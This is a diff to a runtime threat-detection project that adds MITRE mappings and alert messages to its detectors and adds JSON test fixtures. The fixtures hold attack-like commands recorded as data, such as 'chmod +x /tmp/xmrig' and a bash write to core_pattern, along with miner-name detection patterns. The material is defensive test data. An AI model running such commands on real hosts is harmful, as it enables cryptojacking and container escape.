[], - "policy_name": "permissions-manipulation", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [], - "ancestors": [] - }, - "node_name": "experts-k8s-cs", - "time": "2025-12-10T19:03:39.717614198Z", - "aggregation_info": null, - "cluster_name": "", - "node_labels": { - "beta.kubernetes.io/arch": "amd64", - "beta.kubernetes.io/os": "linux", - "kubernetes.io/arch": "amd64", - "kubernetes.io/hostname": "experts-k8s-cs", - "kubernetes.io/os": "linux", - "node-role.kubernetes.io/control-plane": "", - "node.kubernetes.io/exclude-from-external-load-balancers": "" - } +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/negative_chmod_remove_exec.json b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/negative_chmod_remove_exec.json new file mode 100644 index 00000000..00c80d28 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/negative_chmod_remove_exec.json @@ -0,0 +1,24 @@ +{ + "event": { + "process_exec": { + "process": { + "pid": 2988895, + "cwd": "/root", + "binary": "/usr/bin/chmod", + "arguments": "-x /tmp/xmrig" + } + }, + "node_name": "test-node", + "time": "2024-11-13T10:15:07.462452981Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/positive_chmod_tmp_xmrig.json b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/positive_chmod_tmp_xmrig.json new file mode 100644 index 00000000..ddd613bc --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_BIN_PERM_RAISE/testdata/positive_chmod_tmp_xmrig.json @@ -0,0 +1,277 @@ +{ + "event": { + "process_exec": { + "process": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo2MDI5MzkyNDczOTkyNTY1OjI5ODg4OTU=", + "pid": 2988895, + "uid": 0, + "cwd": "/root", + "binary": "/usr/bin/chmod", + "arguments": "+x /tmp/xmrig", + "flags": "execve clone", + "start_time": "2024-11-13T10:15:07.462453463Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-10-10T10:11:11Z", + "pid": 4630, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5OTE0NDEwNjYyOjg3NjcyNg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534481, + "is_host": false + }, + "ipc": { + "inum": 4026534482, + "is_host": false + }, + "mnt": { + "inum": 4026534484, + "is_host": false + }, + "pid": { + "inum": 4026534485, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534485, + "is_host": false + }, + "net": { + "inum": 4026534422, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534486, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2988895, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5OTE0NDEwNjYyOjg3NjcyNg==", + "pid": 876726, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2024-11-12T14:35:34.902871824Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-raw", + "container": { + "id": "containerd://2ee9cb5d00f3c58ea29f9380aaa86c86e70efc424bfa92c33d8ee0d50e0b6d00", + "name": "test-pod-debian-raw", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2024-10-10T10:11:11Z", + "pid": 4609, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-raw", + "workload_kind": "Pod" + }, + "docker": "2ee9cb5d00f3c58ea29f9380aaa86c8", + "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZTo1OTU4NjE5ODY4NDU0Njk2Ojg3NjcyNg==", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534481, + "is_host": false + }, + "ipc": { + "inum": 4026534482, + "is_host": false + }, + "mnt": { + "inum": 4026534484, + "is_host": false + }, + "pid": { + "inum": 4026534485, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534485, + "is_host": false + }, + "net": { + "inum": 4026534422, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534486, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 876726, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + } + }, + "node_name": "test-master-node", + "time": "2024-11-13T10:15:07.462452981Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_BIN_PERM_RAISE", + "severity": "MEDIUM", + "reason_contains": "execution permissions were granted", + "tactics": [ + "TA0004", + "TA0005" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "MEDIUM", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/main.go b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/main.go index 75824d8f..96b433e6 100644 --- a/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/main.go +++ b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/main.go @@ -20,13 +20,22 @@ const ( License = "Apache License 2.0" ) +const ( + KprobeWriteNoArgs = "Detected that the generation settings for the process dump file `%s` were changed by the `%s` process" + KprobeWriteDefault = "Detected that the generation settings for the process dump file `%s` were changed by the `%s` process, which was started using the `%s` arguments" + KprobeMmapNoArgs = "Detected that the configuration file for the process dump generation `%s` was memory-mapped by the `%s` process" + KprobeMmapDefault = "Detected that the configuration file for the process dump generation `%s` was memory-mapped by the `%s` process, which was started using the `%s` arguments" + KprobeRenameNoArgs = "Detected that the process dump file `%s` was replaced with the `%s` file by the `%s` process" + KprobeRenameDefault = "Detected that the process dump file `%s` was replaced with the `%s` file by the `%s` process, which was started using the `%s` arguments" +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for // a particular event type, such as "PROCESS_EXEC", leave slice empty or use // wildcard "*". triggerCriteria = map[string][]string{ - "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate"}, + "PROCESS_KPROBE": {"security_file_permission", "security_mmap_file", "security_path_truncate", "security_path_rename"}, // Examples: // @@ -38,6 +47,17 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0004", + Techniques: []string{ + "T1611", + }, + }, + } +) + const ( // File access permissions // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/linux/fs.h#L100 @@ -52,8 +72,8 @@ var ( corePattern = glob.MustCompile("*/core_pattern") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -61,12 +81,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -100,9 +121,13 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe + binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() path := "" + newFile := "" + action := "" switch function { // Trigger when security function check for file write access. @@ -114,6 +139,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "write" path = args[0].GetFileArg().GetPath() // Trigger when security function check for memory page write access. @@ -125,6 +151,7 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } + action = "mmap" path = args[0].GetFileArg().GetPath() // Trigger when security function check if truncating a file is allowed. @@ -134,13 +161,40 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return nil, fmt.Errorf("unexpected args len, got %d, want >= 1", len(args)) } + action = "write" path = args[0].GetPathArg().GetPath() + // Trigger when security function check if renaming a file is allowed. + // https://elixir.bootlin.com/linux/v6.15.7/source/security/security.c#L2005 + case "security_path_rename": + if len(args) < 2 { + return nil, fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() + default: return resp, nil } if corePattern.Match(path) { + resp.TacticsCovered = mitreTactics + switch { + case (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteNoArgs, path, binary) + case (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteDefault, path, binary, binaryArgs) + case (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapNoArgs, path, binary) + case (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapDefault, path, binary, binaryArgs) + case (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameNoArgs, path, newFile, binary) + case (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameDefault, path, newFile, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -155,291 +209,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTQxMjE4NTI4MTU5OjIwNTg0ODI=", - "pid": 2058482, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "-c \"echo test > /sysproc/core_pattern\"", - "flags": "execve rootcwd clone", - "start_time": "2025-07-28T13:34:05.420097350Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-umh", - "container": { - "id": "containerd://6d8981b036e9fcc730a8746235e218f4d85341b1d9b526fd49a773c0917d3230", - "name": "test-pod-debian-umh", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-07-25T14:20:32Z", - "pid": 1571, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-umh", - "workload_kind": "Pod" - }, - "docker": "6d8981b036e9fcc730a8746235e218f", - "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDgwOTg3MjczOjIwNTgyNTQ=", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534486, - "is_host": false - }, - "ipc": { - "inum": 4026534487, - "is_host": false - }, - "mnt": { - "inum": 4026534489, - "is_host": false - }, - "pid": { - "inum": 4026534490, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534490, - "is_host": false - }, - "net": { - "inum": 4026533923, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534491, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2058482, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDgwOTg3MjczOjIwNTgyNTQ=", - "pid": 2058254, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "arguments": "", - "flags": "execve rootcwd", - "start_time": "2025-07-28T13:33:49.282556644Z", - "auid": 4294967295, - "pod": { - "namespace": "default", - "name": "test-pod-debian-umh", - "container": { - "id": "containerd://6d8981b036e9fcc730a8746235e218f4d85341b1d9b526fd49a773c0917d3230", - "name": "test-pod-debian-umh", - "image": { - "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", - "name": "docker.io/library/debian:12.2-slim" - }, - "start_time": "2025-07-25T14:20:32Z", - "pid": 1565, - "maybe_exec_probe": false - }, - "pod_labels": {}, - "workload": "test-pod-debian-umh", - "workload_kind": "Pod" - }, - "docker": "6d8981b036e9fcc730a8746235e218f", - "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDc5MzAwMzI5OjIwNTgyNTQ=", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_NET_BIND_SERVICE", - "CAP_NET_RAW", - "CAP_SYS_CHROOT", - "CAP_MKNOD", - "CAP_AUDIT_WRITE", - "CAP_SETFCAP" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026534486, - "is_host": false - }, - "ipc": { - "inum": 4026534487, - "is_host": false - }, - "mnt": { - "inum": 4026534489, - "is_host": false - }, - "pid": { - "inum": 4026534490, - "is_host": false - }, - "pid_for_children": { - "inum": 4026534490, - "is_host": false - }, - "net": { - "inum": 4026533923, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026534491, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2058254, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "mount": "", - "path": "/sysproc/core_pattern", - "flags": "", - "permission": "-rw-r--r--" - }, - "label": "" - }, - { - "int_arg": 2, - "label": "" - } - ], - "return": { - "int_arg": 0, - "label": "" - }, - "action": "KPROBE_ACTION_POST", - "kernel_stack_trace": [], - "policy_name": "file-monitoring", - "return_action": "KPROBE_ACTION_POST", - "message": "", - "tags": [], - "user_stack_trace": [] - }, - "node_name": "szy-k8s.appsec-stand.cloud.local", - "time": "2025-07-28T13:34:05.422534198Z", - "aggregation_info": null +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/negative_benign_path.json new file mode 100644 index 00000000..524c801f --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/negative_benign_path.json @@ -0,0 +1,35 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 2058482, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /tmp/scratch.log\"" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/tmp/scratch.log", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/positive_core_pattern_write.json b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/positive_core_pattern_write.json new file mode 100644 index 00000000..346e93d7 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CORE_PATTERN_MODIFY/testdata/positive_core_pattern_write.json @@ -0,0 +1,303 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTQxMjE4NTI4MTU5OjIwNTg0ODI=", + "pid": 2058482, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /sysproc/core_pattern\"", + "flags": "execve rootcwd clone", + "start_time": "2025-07-28T13:34:05.420097350Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-umh", + "container": { + "id": "containerd://6d8981b036e9fcc730a8746235e218f4d85341b1d9b526fd49a773c0917d3230", + "name": "test-pod-debian-umh", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-07-25T14:20:32Z", + "pid": 1571, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-umh", + "workload_kind": "Pod" + }, + "docker": "6d8981b036e9fcc730a8746235e218f", + "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDgwOTg3MjczOjIwNTgyNTQ=", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534486, + "is_host": false + }, + "ipc": { + "inum": 4026534487, + "is_host": false + }, + "mnt": { + "inum": 4026534489, + "is_host": false + }, + "pid": { + "inum": 4026534490, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534490, + "is_host": false + }, + "net": { + "inum": 4026533923, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534491, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2058482, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "parent": { + "exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDgwOTg3MjczOjIwNTgyNTQ=", + "pid": 2058254, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "arguments": "", + "flags": "execve rootcwd", + "start_time": "2025-07-28T13:33:49.282556644Z", + "auid": 4294967295, + "pod": { + "namespace": "default", + "name": "test-pod-debian-umh", + "container": { + "id": "containerd://6d8981b036e9fcc730a8746235e218f4d85341b1d9b526fd49a773c0917d3230", + "name": "test-pod-debian-umh", + "image": { + "id": "docker.io/library/debian@sha256:2bc5c236e9b262645a323e9088dfa3bb1ecb16cc75811daf40a23a824d665be9", + "name": "docker.io/library/debian:12.2-slim" + }, + "start_time": "2025-07-25T14:20:32Z", + "pid": 1565, + "maybe_exec_probe": false + }, + "pod_labels": {}, + "workload": "test-pod-debian-umh", + "workload_kind": "Pod" + }, + "docker": "6d8981b036e9fcc730a8746235e218f", + "parent_exec_id": "c3p5LWs4cy5hcHBzZWMtc3RhbmQucHRzZWN1cml0eS5jbG91ZDo2NDI2MTI1MDc5MzAwMzI5OjIwNTgyNTQ=", + "refcnt": 0, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_NET_BIND_SERVICE", + "CAP_NET_RAW", + "CAP_SYS_CHROOT", + "CAP_MKNOD", + "CAP_AUDIT_WRITE", + "CAP_SETFCAP" + ], + "inheritable": [] + }, + "ns": { + "uts": { + "inum": 4026534486, + "is_host": false + }, + "ipc": { + "inum": 4026534487, + "is_host": false + }, + "mnt": { + "inum": 4026534489, + "is_host": false + }, + "pid": { + "inum": 4026534490, + "is_host": false + }, + "pid_for_children": { + "inum": 4026534490, + "is_host": false + }, + "net": { + "inum": 4026533923, + "is_host": false + }, + "time": { + "inum": 4026531834, + "is_host": true + }, + "time_for_children": { + "inum": 4026531834, + "is_host": true + }, + "cgroup": { + "inum": 4026534491, + "is_host": false + }, + "user": { + "inum": 4026531837, + "is_host": true + } + }, + "tid": 2058254, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0, + "securebits": [], + "caps": null, + "user_ns": null + }, + "binary_properties": null, + "user": null + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "mount": "", + "path": "/sysproc/core_pattern", + "flags": "", + "permission": "-rw-r--r--" + }, + "label": "" + }, + { + "int_arg": 2, + "label": "" + } + ], + "return": { + "int_arg": 0, + "label": "" + }, + "action": "KPROBE_ACTION_POST", + "kernel_stack_trace": [], + "policy_name": "file-monitoring", + "return_action": "KPROBE_ACTION_POST", + "message": "", + "tags": [], + "user_stack_trace": [] + }, + "node_name": "szy-k8s.appsec-stand.runtime-radar.dev", + "time": "2025-07-28T13:34:05.422534198Z", + "aggregation_info": null + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_CORE_PATTERN_MODIFY", + "severity": "HIGH", + "reason_contains": "core_pattern", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CRYPTOMINER/main.go b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/main.go index 65f5736e..9e2435a3 100644 --- a/event-processor/detector/wasm/CS_RT_CRYPTOMINER/main.go +++ b/event-processor/detector/wasm/CS_RT_CRYPTOMINER/main.go @@ -4,6 +4,7 @@ package main import ( "context" + "fmt" "regexp" "github.com/gobwas/glob" @@ -13,13 +14,20 @@ import ( const ( ID = "CS_RT_CRYPTOMINER" - Name = "Cryptominer execution" - Description = "The detector detects if any known cryptominers were started or stopped. The latter may indicate an attacker's attempt to get rid of competing loads." + Name = "Cryptominer startup" + Description = "The detector detects if any known cryptominers were started or stopped, which may indicate an attacker's attempt to get rid of competing loads." Version = 2 Author = "Runtime Radar Team" License = "Apache License 2.0" ) +const ( + ExecMinersNoArgs = "Detected that the `%s` cryptominer was started" + ExecMinersDefault = "Detected that the `%s` cryptominer was started using the `%s` arguments" + ExecMinerArgs = "Detected a suspicious start of the `%s` process with the `%s` arguments typical of cryptominers" + ExecKillArgs = "Detected an attempt to finish a process using the `%s` utility, which was started using the `%s` arguments. This may indicate use of cryptominer startup scripts." +) + var ( // triggerCriteria sets Trigger Criteria as map of events types to corresponding functions // which will be used by Detector. If function names are not applicable for @@ -38,6 +46,23 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0002", + Techniques: []string{ + "T1204.003", + }, + }, + { + Id: "TA0040", + Techniques: []string{ + "T1496", + }, + }, + } +) + var ( minerTools = []*regexp.Regexp{ regexp.MustCompile(`/[^/]*stratum[^/]*$`), @@ -90,8 +115,8 @@ var ( } ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -99,12 +124,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -140,7 +166,14 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe for _, mt := range minerTools { // Trigger on explicit miner utility name. if mt.MatchString(binary) { + 